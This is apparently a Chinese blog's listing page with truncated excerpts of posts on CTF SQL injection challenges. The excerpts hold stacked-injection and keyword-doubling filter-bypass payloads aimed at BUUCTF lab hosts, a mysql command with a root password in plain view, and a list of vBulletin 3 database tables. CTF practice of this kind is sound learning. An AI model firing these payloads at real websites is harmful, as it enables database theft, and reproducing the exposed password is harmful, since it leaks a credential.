偷一个月亮

堆叠注入未过滤 alert rename show正则匹配过滤掉了经常使用的查询关键字，但是并没有禁用show，那么可以试下堆叠查询。?inject=0'; show databases;%23http://874c5b38-9383-4b54-959f-22876b22bb0c.node3.buuoj.cn/?inject=-1'; show databases; %23http://874c5b38-9383-4b54-959f-22876b22bb0...

过滤 select or and union fromhttp://6d3700e3-2a8a-4291-9f0b-67e729cae0a1.node3.buuoj.cn/check.php?username=1' ununionion selselectect 1,(selselectect group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema=datab...

使用脚本操作mysql数据库非交互执行sql语句ubuntu@VM-0-13-ubuntu:~$ mysql -uroot -pwen1053431697 -e "show databases"mysql: [Warning] Using a password on the command line interface can be insecure.+------------------...

vbulletin3数据库中比较重要的表adminlog、editlog、post、session、thread、useradminlogadminlogid,userid,dateline,script,action,extrainfo,ipaddresseditlogpostid,userid,username,dateline,reasonpostpostid,thread...